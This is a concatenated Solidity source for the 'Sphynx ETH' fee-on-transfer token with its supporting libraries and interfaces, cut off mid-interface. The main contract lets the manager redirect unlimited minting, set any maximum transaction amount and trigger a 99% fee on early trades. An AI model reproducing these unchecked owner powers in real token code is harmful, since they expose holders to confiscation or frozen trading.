mapping(address => bool) private _isExcludedFromFees;
// getting fee addresses
mapping(address => bool) public _isGetFees;
// store addresses that are automated market maker pairs. Any transfer to these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
modifier onlyMasterChefAndBridge() {
require(msg.sender == masterChef || msg.sender == sphynxBridge, 'Permission Denied');
_;
}
modifier onlySigner() {
require(signers[msg.sender], 'not-a-signer');
_;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
// Contract Events
event ExcludeFromFees(address indexed account, bool isExcluded);
event GetFee(address indexed account, bool isGetFee);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event MarketingWalletUpdated(address indexed newMarketingWallet, address indexed oldMarketingWallet);
event DevelopmentWalletUpdated(address indexed newDevelopmentWallet, address indexed oldDevelopmentWallet);
event LotteryAddressUpdated(address indexed newLotteryAddress, address indexed oldLotteryAddress);
event UpdateSphynxSwapRouter(address indexed newAddress, address indexed oldAddress);
event SwapAndLiquify(uint256 tokensSwapped, uint256 nativeReceived, uint256 tokensIntoLiqudity);
event UpdateSwapAndLiquify(bool value);
event UpdateSendToLottery(bool value);
event SetMarketingFee(uint256 value);
event SetDevelopmentFee(uint256 value);
event SetLotteryFee(uint256 value);
event SetAllFeeToZero(uint256 marketingFee, uint256 developmentFee, uint256 lotteryFee);
event MaxFees(uint256 marketingFee, uint256 developmentFee, uint256 lotteryFee);
event SetUsdAmountToSwap(uint256 usdAmountToSwap);
event SetBlockNumber(uint256 blockNumber);
event UpdateMasterChef(address masterChef);
event UpdateSphynxBridge(address sphynxBridge);
event UpdateMaxTxAmount(uint256 txAmount);
constructor() public BEP20('Sphynx ETH', 'SPHYNX') {
uint256 _marketingFee = 5;
uint256 _developmentFee = 5;
uint256 _lotteryFee = 1;
marketingFee = _marketingFee;
developmentFee = _developmentFee;
lotteryFee = _lotteryFee;
totalFees = _marketingFee.add(_developmentFee);
blockNumber = 0;
ISphynxRouter02 _sphynxSwapRouter = ISphynxRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // mainnet
// Create a sphynxswap pair for SPHYNX
address _sphynxSwapPair = ISphynxFactory(_sphynxSwapRouter.factory()).createPair(address(this), _sphynxSwapRouter.WETH());
sphynxSwapRouter = _sphynxSwapRouter;
sphynxSwapPair = _sphynxSwapPair;
_setAutomatedMarketMakerPair(sphynxSwapPair, true);
// exclude from paying fees or having max transaction amount
excludeFromFees(marketingWallet, true);
excludeFromFees(developmentWallet, true);
excludeFromFees(address(this), true);
excludeFromFees(owner(), true);
// set getFee addresses
_isGetFees[address(_sphynxSwapRouter)] = true;
_isGetFees[_sphynxSwapPair] = true;
priceFeed = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419);
_mint(owner(), 800000000 * (10**18));
_status = _NOT_ENTERED;
//multi-sign-wallets
signers[0x35BfE8dA53F94d6711F111790643D2D403992b56] = true;
signers[0x96C463B615228981A2c30B842E8A8e4e933CEc46] = true;
signers[0x7278fC9C49A2B6bd072b9d47E3c903ef0e12bb83] = true;
signersArray[0] = 0x35BfE8dA53F94d6711F111790643D2D403992b56;
signersArray[1] = 0x96C463B615228981A2c30B842E8A8e4e933CEc46;
signersArray[2] = 0x7278fC9C49A2B6bd072b9d47E3c903ef0e12bb83;
}
receive() external payable {}
// mint function for masterchef;
function mint(address to, uint256 amount) public onlyMasterChefAndBridge {
_mint(to, amount);
}
function updateSwapAndLiquifiy(bool value) public onlyManager {
SwapAndLiquifyEnabled = value;
emit UpdateSwapAndLiquify(value);
}
function updateSendToLottery(bool value) public onlyManager {
sendToLottery = value;
emit UpdateSendToLottery(value);
}
function setMarketingFee(uint256 value) external onlyManager {
require(value <= 5, 'SPHYNX: Invalid marketingFee');
marketingFee = value;
totalFees = marketingFee.add(developmentFee);
emit SetMarketingFee(value);
}
function setDevelopmentFee(uint256 value) external onlyManager {
require(value <= 5, 'SPHYNX: Invalid developmentFee');
developmentFee = value;
totalFees = marketingFee.add(developmentFee);
emit SetDevelopmentFee(value);
}
function setLotteryFee(uint256 value) external onlyManager {
require(value <= 1, 'SPHYNX: Invalid lotteryFee');
lotteryFee = value;
emit SetLotteryFee(value);
}
function setAllFeeToZero() external onlyOwner {
marketingFee = 0;
developmentFee = 0;
lotteryFee = 0;
totalFees = 0;
emit SetAllFeeToZero(marketingFee, developmentFee, lotteryFee);
}
function maxFees() external onlyOwner {
marketingFee = 5;
developmentFee = 5;
lotteryFee = 1;
totalFees = marketingFee.add(developmentFee);
emit MaxFees(marketingFee, developmentFee, lotteryFee);
}
function updateSphynxSwapRouter(address newAddress) public onlyManager {
require(newAddress != address(sphynxSwapRouter), 'SPHYNX: The router already has that address');
emit UpdateSphynxSwapRouter(newAddress, address(sphynxSwapRouter));
sphynxSwapRouter = ISphynxRouter02(newAddress);
address _sphynxSwapPair;
_sphynxSwapPair = ISphynxFactory(sphynxSwapRouter.factory()).getPair(address(this), sphynxSwapRouter.WETH());
if(_sphynxSwapPair == address(0)) {
_sphynxSwapPair = ISphynxFactory(sphynxSwapRouter.factory()).createPair(address(this), sphynxSwapRouter.WETH());
}
_setAutomatedMarketMakerPair(sphynxSwapPair, false);
sphynxSwapPair = _sphynxSwapPair;
_setAutomatedMarketMakerPair(sphynxSwapPair, true);
}
function updateMasterChef(address _masterChef) public onlyManager {
require(masterChef != _masterChef, 'SPHYNX: MasterChef already exists!');
masterChef = _masterChef;
emit UpdateMasterChef(_masterChef);
}
function updateSphynxBridge(address _sphynxBridge) public onlyManager {
require(sphynxBridge != _sphynxBridge, 'SPHYNX: SphynxBridge already exists!');
_isExcludedFromFees[sphynxBridge] = false;
sphynxBridge = _sphynxBridge;
_isExcludedFromFees[sphynxBridge] = true;
emit UpdateSphynxBridge(_sphynxBridge);
}
function excludeFromFees(address account, bool excluded) public onlyManager {
require(_isExcludedFromFees[account] != excluded, "SPHYNX: Account is already the value of 'excluded'");
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setFeeAccount(address account, bool isGetFee) public onlyManager {
require(_isGetFees[account] != isGetFee, "SPHYNX: Account is already the value of 'isGetFee'");
_isGetFees[account] = isGetFee;
emit GetFee(account, isGetFee);
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for (uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFees[accounts[i]] = excluded;
}
emit ExcludeMultipleAccountsFromFees(accounts, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyManager {
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(automatedMarketMakerPairs[pair] != value, 'SPHYNX: Automated market maker pair is already set to that value');
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function setUsdAmountToSwap(uint256 _usdAmount) public onlyManager {
usdAmountToSwap = _usdAmount;
emit SetUsdAmountToSwap(usdAmountToSwap);
}
function updateMarketingWallet(address newMarketingWallet) public onlyManager {
require(newMarketingWallet != marketingWallet, 'SPHYNX: The marketing wallet is already this address');
excludeFromFees(newMarketingWallet, true);
excludeFromFees(marketingWallet, false);
emit MarketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = payable(newMarketingWallet);
}
function updateDevelopmentgWallet(address newDevelopmentWallet) public onlyManager {
require(newDevelopmentWallet != developmentWallet, 'SPHYNX: The development wallet is already this address');
excludeFromFees(newDevelopmentWallet, true);
excludeFromFees(developmentWallet, false);
emit DevelopmentWalletUpdated(newDevelopmentWallet, developmentWallet);
developmentWallet = payable(newDevelopmentWallet);
}
function updateLotteryAddress(address newLotteryAddress) public onlyManager {
require(newLotteryAddress != lotteryAddress, 'SPHYNX: The lottery wallet is already this address');
excludeFromFees(newLotteryAddress, true);
excludeFromFees(lotteryAddress, false);
emit LotteryAddressUpdated(newLotteryAddress, lotteryAddress);
lotteryAddress = newLotteryAddress;
}
function setBlockNumber() public onlyOwner {
blockNumber = block.number;
emit SetBlockNumber(blockNumber);
}
function updateMaxTxAmount(uint256 _amount) public onlyManager {
maxTxAmount = _amount;
emit UpdateMaxTxAmount(_amount);
}
function updateTokenClaim(bool _claim) public onlyManager {
claimable = _claim;
}
function updateStopTrade(bool _value) external onlySigner {
require(stopTrade != _value, 'already-set');
require(!stopTradeSign[msg.sender], 'already-sign');
stopTradeSign[msg.sender] = true;
if (
stopTradeSign[signersArray[0]] &&
stopTradeSign[signersArray[1]] &&
stopTradeSign[signersArray[2]]
) {
stopTrade = _value;
stopTradeSign[signersArray[0]] = false;
stopTradeSign[signersArray[1]] = false;
stopTradeSign[signersArray[2]] = false;
}
}
function updateSignerWallet(address _signer) external onlySigner {
signers[msg.sender] = false;
signers[_signer] = true;
for(uint i = 0; i < 3; i++) {
if(signersArray[i] == msg.sender) {
signersArray[i] = _signer;
}
}
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), 'BEP20: transfer from the zero address');
require(to != address(0), 'BEP20: transfer to the zero address');
require(!stopTrade, 'trade-stopped');
require(amount <= maxTxAmount, 'max-tx-amount-overflow');
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if(SwapAndLiquifyEnabled) {
uint256 contractTokenBalance = balanceOf(address(this));
uint256 nativeTokenAmount = _getTokenAmountFromNative();
bool canSwap = contractTokenBalance >= nativeTokenAmount;
if (canSwap && !swapping && !automatedMarketMakerPairs[from]) {
swapping = true;
// Set number of tokens to sell to nativeTokenAmount
contractTokenBalance = nativeTokenAmount;
swapTokens(contractTokenBalance);
swapping = false;
}
}
// indicates if fee should be deducted from transfer
bool takeFee = true;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (takeFee) {
if (block.number - blockNumber <= 10) {
uint256 afterBalance = balanceOf(to) + amount;
require(afterBalance <= 250000 * (10**18), 'Owned amount exceeds the maxOwnedAmount');
}
uint256 fees;
if (_isGetFees[from] || _isGetFees[to]) {
if (block.number - blockNumber <= 5) {
fees = amount.mul(99).div(10**2);
} else {
fees = amount.mul(totalFees).div(10**2);
if (sendToLottery) {
uint256 lotteryAmount = amount.mul(lotteryFee).div(10**2);
amount = amount.sub(lotteryAmount);
super._transfer(from, lotteryAddress, lotteryAmount);
}
}
amount = amount.sub(fees);
super._transfer(from, address(this), fees);
}
}
super._transfer(from, to, amount);
}
function swapTokens(uint256 tokenAmount) private {
swapTokensForNative(tokenAmount);
uint256 swappedNative = address(this).balance;
uint256 marketingNative = swappedNative.mul(marketingFee).div(totalFees);
uint256 developmentNative = swappedNative.sub(marketingNative);
transferNativeToMarketingWallet(marketingNative);
transferNativeToDevelopmentWallet(developmentNative);
}
// Swap tokens on PacakeSwap
function swapTokensForNative(uint256 tokenAmount) private {
// generate the sphynxswap pair path of token -> WETH
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = sphynxSwapRouter.WETH();
_approve(address(this), address(sphynxSwapRouter), tokenAmount);
// make the swap
sphynxSwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of Native
path,
address(this),
block.timestamp
);
}
function getNativeAmountFromUSD() public view returns (uint256 amount) {
(
uint80 roundID,
int price,
uint startedAt,
uint timeStamp,
uint80 answeredInRound
) = priceFeed.latestRoundData();
amount = usdAmountToSwap.mul(10 ** 26).div(uint256(price));
}
function _getTokenAmountFromNative() internal view returns (uint256) {
uint256 tokenAmount;
address[] memory path = new address[](2);
path[0] = sphynxSwapRouter.WETH();
path[1] = address(this);
uint256 nativeAmountToSwap = getNativeAmountFromUSD();
uint256[] memory amounts = sphynxSwapRouter.getAmountsOut(nativeAmountToSwap, path);
tokenAmount = amounts[1];
return tokenAmount;
}
function transferNativeToMarketingWallet(uint256 amount) private {
marketingWallet.transfer(amount);
}
function transferNativeToDevelopmentWallet(uint256 amount) private {
developmentWallet.transfer(amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.0;
import '../GSN/Context.sol';
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an manager) that can be granted exclusive access to
* specific functions.
*
* By default, the manager account will be the one that deploys the contract. This
* can later be changed with {transferManagement}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyManager`, which can be applied to your functions to restrict their use to
* the manager.
*/
contract Manageable is Context {
address private _manager;
event ManagementTransferred(address indexed previousManager, address indexed newManager);
/**
* @dev Initializes the contract setting the deployer as the initial manager.
*/
constructor() internal {
address msgSender = _msgSender();
_manager = msgSender;
emit ManagementTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current manager.
*/
function manager() public view returns (address) {
return _manager;
}
/**
* @dev Throws if called by any account other than the manager.
*/
modifier onlyManager() {
require(_manager == _msgSender(), 'Manageable: caller is not the manager');
_;
}
/**
* @dev Leaves the contract without manager. It will not be possible to call
* `onlyManager` functions anymore. Can only be called by the current manager.
*
* NOTE: Renouncing management will leave the contract without an manager,
* thereby removing any functionality that is only available to the manager.
*/
function renounceManagement() public onlyManager {
emit ManagementTransferred(_manager, address(0));
_manager = address(0);
}
/**
* @dev Transfers management of the contract to a new account (`newManager`).
* Can only be called by the current manager.
*/
function transferManagement(address newManager) public onlyManager {
_transferManagement(newManager);
}
/**
* @dev Transfers management of the contract to a new account (`newManager`).
*/
function _transferManagement(address newManager) internal {
require(newManager != address(0), 'Manageable: new manager is the zero address');
emit ManagementTransferred(_manager, newManager);
_manager = newManager;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0;
import '../../access/Ownable.sol';
import '../../GSN/Context.sol';
import './IBEP20.sol';
import '../../math/SafeMath.sol';
import '../../utils/Address.sol';
/**
* @dev Implementation of the {IBEP20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {BEP20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-BEP20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of BEP20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IBEP20-approve}.
*/
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token name.
*/
function name() public override view returns (string memory) {
return _name;
}
/**
* @dev Returns the token decimals.
*/
function decimals() public override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() public override view returns (string memory) {
return _symbol;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance')
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero')
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Destroys `amount` tokens from `msg.sender`, decreasing the total supply.
*
*/
function burn(uint256 amount) public returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance')
);
}
}
pragma solidity >=0.5.0;
interface ISphynxPair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function swapFee() external view returns (uint32);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
function setSwapFee(uint32) external;
}
pragma solidity >=0.5.0;
interface ISphynxFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setSwapFee(address _pair, uint32 _swapFee) external;
}
pragma solidity >=0.6.2;
import './ISphynxRouter01.sol';
interface ISphynxRouter02 is ISphynxRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
pragma solidity >=0.6.2;
interface ISphynxRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
